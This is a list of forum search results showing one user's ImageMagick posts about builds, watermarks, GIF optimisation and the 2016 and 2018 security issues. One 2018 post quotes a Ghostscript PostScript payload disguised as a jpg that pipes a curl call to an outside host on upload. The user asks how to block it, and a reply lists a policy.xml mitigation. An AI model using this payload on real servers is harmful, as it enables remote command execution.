Search found 25 matches

by zxsz4084
2019-01-15T22:34:18-07:00
Forum: Users
Topic: how to remove watermark from jpg file?
Replies: 1
Views: 2365

how to remove watermark from jpg file?

I have a pic at https://img.pengduncun.com/mp.jpg,size 960x540 (16:9), it has a watermark on the top left corner。and I don't have the original watermark png,how to remove the watermark from it? https://img.pengduncun.com/mp.jpg I have read some posts and have tried some solutions, but those works we...
by zxsz4084
2018-08-24T02:39:09-07:00
Forum: Users
Topic: SOS! How to resolve this fatal problem?
Replies: 3
Views: 3092

Re: SOS! How to resolve this fatal problem?

https://www.imagemagick.org/script/security-policy.php

Since most users simply process image compression, I recommend that this behavior be disabled by default in the latest version.
by zxsz4084
2018-08-23T23:24:40-07:00
Forum: Users
Topic: SOS! How to resolve this fatal problem?
Replies: 3
Views: 3092

Re: SOS! How to resolve this fatal problem?

I found a solution at https://www.anquanke.com/post/id/157513 vim /home/www/ImageMagick/etc/ImageMagick-7/policy.xml in section "policymap" add the following content: <policy domain="coder" rights="none" pattern="PS" /> <policy domain="coder" rights=...
by zxsz4084
2018-08-23T22:30:24-07:00
Forum: Users
Topic: SOS! How to resolve this fatal problem?
Replies: 3
Views: 3092

Re: SOS! How to resolve this fatal problem?

my os is :
CentOS release 5.11 (Final)
by zxsz4084
2018-08-23T22:03:01-07:00
Forum: Users
Topic: SOS! How to resolve this fatal problem?
Replies: 3
Views: 3092

SOS! How to resolve this fatal problem?

use the follow content use a jpg file: %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%curl http://xx.xx.xx:80) currentdevice putdeviceprops then upload it,it will trigger exec curl command。how to resolve this fatal problem。。。 [www ~]$ /home...
by zxsz4084
2018-06-08T04:52:16-07:00
Forum: Users
Topic: how to compile imagick with png support?
Replies: 4
Views: 7331

Re: how to compile imagick with png support?

finally,view congifure 's content,use this command to solve this eggcache problem. export PKG_CONFIG_PATH="/home/www/png/lib/pkgconfig" but jpeg does not have dir "/home/www/jpeg/lib/pkgconfig", still use these export CPPFLAGS="-I/home/www/jpeg/include" export LDFLAGS=&...
by zxsz4084
2018-06-06T21:44:21-07:00
Forum: Users
Topic: how to compile imagick with png support?
Replies: 4
Views: 7331

Re: how to compile imagick with png support?

check your install log for your PNG install and be sure it worked correctly. I believe that libpng requires zlib be installed first. this is my install step。。 cd /home/www/softwares tar -xf zlib-1.2.11.tar.gz cd zlib-1.2.11 ./configure --prefix=/home/www/zlib make -j20 && make install #需要zl...
by zxsz4084
2018-06-06T09:43:19-07:00
Forum: Users
Topic: how to compile imagick with png support?
Replies: 4
Views: 7331

how to compile imagick with png support?

I have installed jpeg,png at /home/www/jpeg,/home/www/png。I do not want to use sys default 。 jpegsrc.v9a.tar.gz libpng-1.6.19.tar.gz I use the following commands let it to find jpeg and png。 export CFLAGS="-I/home/www/jpeg/include -I/home/www/png/include" export LDFLAGS="-L/home/www/j...
by zxsz4084
2016-07-26T23:40:35-07:00
Forum: Developers
Topic: How to rotate a watermark png img at 45 degree on an jpg image?
Replies: 2
Views: 8508

Re: How to rotate a watermark png img at 45 degree on an jpg image?

Dear fmw42 ,thank you very much , it both works well in my two versions。 -bash-3.2$ /usr/local/ImageMagick/bin/convert -version Version: ImageMagick 7.0.1-1 Q16 x86_64 2016-05-06 http://www.imagemagick.org Copyright: Copyright (C) 1999-2016 ImageMagick Studio LLC License: http://www.imagemagick.org/...
by zxsz4084
2016-07-26T20:16:52-07:00
Forum: Developers
Topic: How to rotate a watermark png img at 45 degree on an jpg image?
Replies: 2
Views: 8508

How to rotate a watermark png img at 45 degree on an jpg image?

How to rotate a watermark png img at 45 degree on a jpg image? I have a transparent png file like " http://vi1.6rooms.com/live/chenlongtest/banquan.png " ,I will watermark it on a jpg image , I use command like this: composite -gravity center banquan.png 2388.jpg 2388_bq.jpg then the new i...
by zxsz4084
2016-05-05T06:53:02-07:00
Forum: Users
Topic: How to against ImageTragick with php ?
Replies: 1
Views: 2470

How to against ImageTragick with php ?

I just use php getimagesize() to get image info ?It likes the following。。。 /** * @return array(w=>with, h=hight, type=类别) type: 1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 =...
by zxsz4084
2015-05-06T04:17:00-07:00
Forum: Users
Topic: which command can judge whether a png pic has alpha channel ?
Replies: 2
Views: 2566

which command can judge whether a png pic has alpha channel ?

Dear Qins:
which command can judge whether a png pic has alpha channel ?
by zxsz4084
2015-04-24T00:41:58-07:00
Forum: Users
Topic: why the newer version command works not well ?
Replies: 7
Views: 5609

Re: why the newer version command works not well ?

magick wrote:We will investigate this problem soon and report back. Stand by...
Dear admin:
I am waiting for your coming back soon ...
by zxsz4084
2015-04-17T00:34:19-07:00
Forum: Users
Topic: why the newer version command works not well ?
Replies: 7
Views: 5609

Re: why the newer version command works not well ?

maybe it still works not well sometimes。 the orignal pic: http://vi1.6rooms.com/live/chenlongtest/tuzi3.gif new version command: works not well -bash-3.2$ /usr/local/ImageMagick/bin/convert tuzi3.gif -background none -coalesce -bordercolor none -border 0 -sample '200x200' -layers Optimize tuzi3_new....
by zxsz4084
2015-04-16T05:32:51-07:00
Forum: Users
Topic: why the newer version command works not well ?
Replies: 7
Views: 5609

Re: why the newer version command works not well ?

Insert "-background None" before "-coalesce". convert lengtu.gif -background None -coalesce -bordercolor None -border 0 -sample 200x200 -layers Optimize lengtu_new.gif Thanks very much。 I use php if I use "$_FILES['file']['tmp_name']" as pic source ,it works not well /...